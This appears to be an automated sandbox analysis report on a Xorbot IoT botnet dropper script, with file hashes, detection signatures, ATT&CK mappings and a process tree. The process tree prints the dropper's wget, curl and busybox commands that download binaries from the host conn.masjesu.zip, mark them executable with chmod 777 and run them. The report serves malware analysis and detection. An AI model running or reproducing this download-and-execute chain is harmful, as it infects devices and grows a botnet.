xorbot | 22acfc0d6e942b85d7dedb1649db01ef0e39aaac52709cb92a04e20e05789837

Analysis

max time kernel
144s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/11/2024, 14:01

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General

Target

bins.sh
Size

10KB
MD5

de53efb865d2702c1ebba6a22269f29c
SHA1

7ffba83c7e1bf358c188ed7187865e8f30e1a4a0
SHA256

22acfc0d6e942b85d7dedb1649db01ef0e39aaac52709cb92a04e20e05789837
SHA512

8071edb71dcf8223e60eb11b54ca7a7f9f256296f360d60819debadb6931412575b5aadd7211ef7a1f01b3467ef14b29b1fae1b845096f3f7095f684e4c77e6e
SSDEEP

192:9drDtt03vb3atYsU4sgJ66msgJ66iwktt03vbRE/:9drDtt03z3aSsUe/tt03zRE/

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
728	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	729	j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
703	wget
709	curl
726	busybox
732	wget
733	curl
813	busybox

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	curl
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	busybox
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - System Network Configuration Discovery
  PID:703
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  ./j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  PID:731
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - System Network Configuration Discovery
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

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/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

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